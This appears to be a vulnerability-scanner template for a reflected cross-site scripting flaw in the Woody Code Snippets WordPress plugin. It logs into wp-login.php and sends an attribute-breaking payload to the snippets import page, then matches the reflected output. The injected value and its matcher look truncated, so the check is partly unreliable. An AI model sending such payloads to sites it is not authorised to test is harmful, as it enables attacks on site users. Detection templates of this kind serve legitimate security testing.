id: wp-insert-php-xss
info:
name: Woody Code Snippets < 2.4.6 - Cross-Site Scripting
author: Akincibor,DhiyaneshDk
severity: medium
description: The plugin does not escape a generated URLs before outputting them back in an attribute, leading to Reflected Cross-Site Scripting
reference:
- https://wpscan.com/vulnerability/6d6761b7-0c17-4428-8748-2179732030a3
metadata:
verified: true
tags: xss,wp,wordpress,authenticated,woody,wpscan,wp-plugin
requests:
- raw:
- |
POST /wp-login.php HTTP/1.1
Host: {{Hostname}}
Origin: {{RootURL}}
Content-Type: application/x-www-form-urlencoded
Cookie: wordpress_test_cookie=WP%20Cookie%20check
log={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1
- |
GET /wp-admin/edit.php?post_type=wbcr-snippets&page=import-wbcr_insert_php&a"> HTTP/1.1
Host: {{Hostname}}
cookie-reuse: true
matchers-condition: and
matchers:
- type: word
part: body
words:
- 'import-wbcr_insert_php&a\">"'
- 'Woody Code Snippets Import'
condition: and
- type: word
part: header
words:
- text/html
- type: status
status:
- 200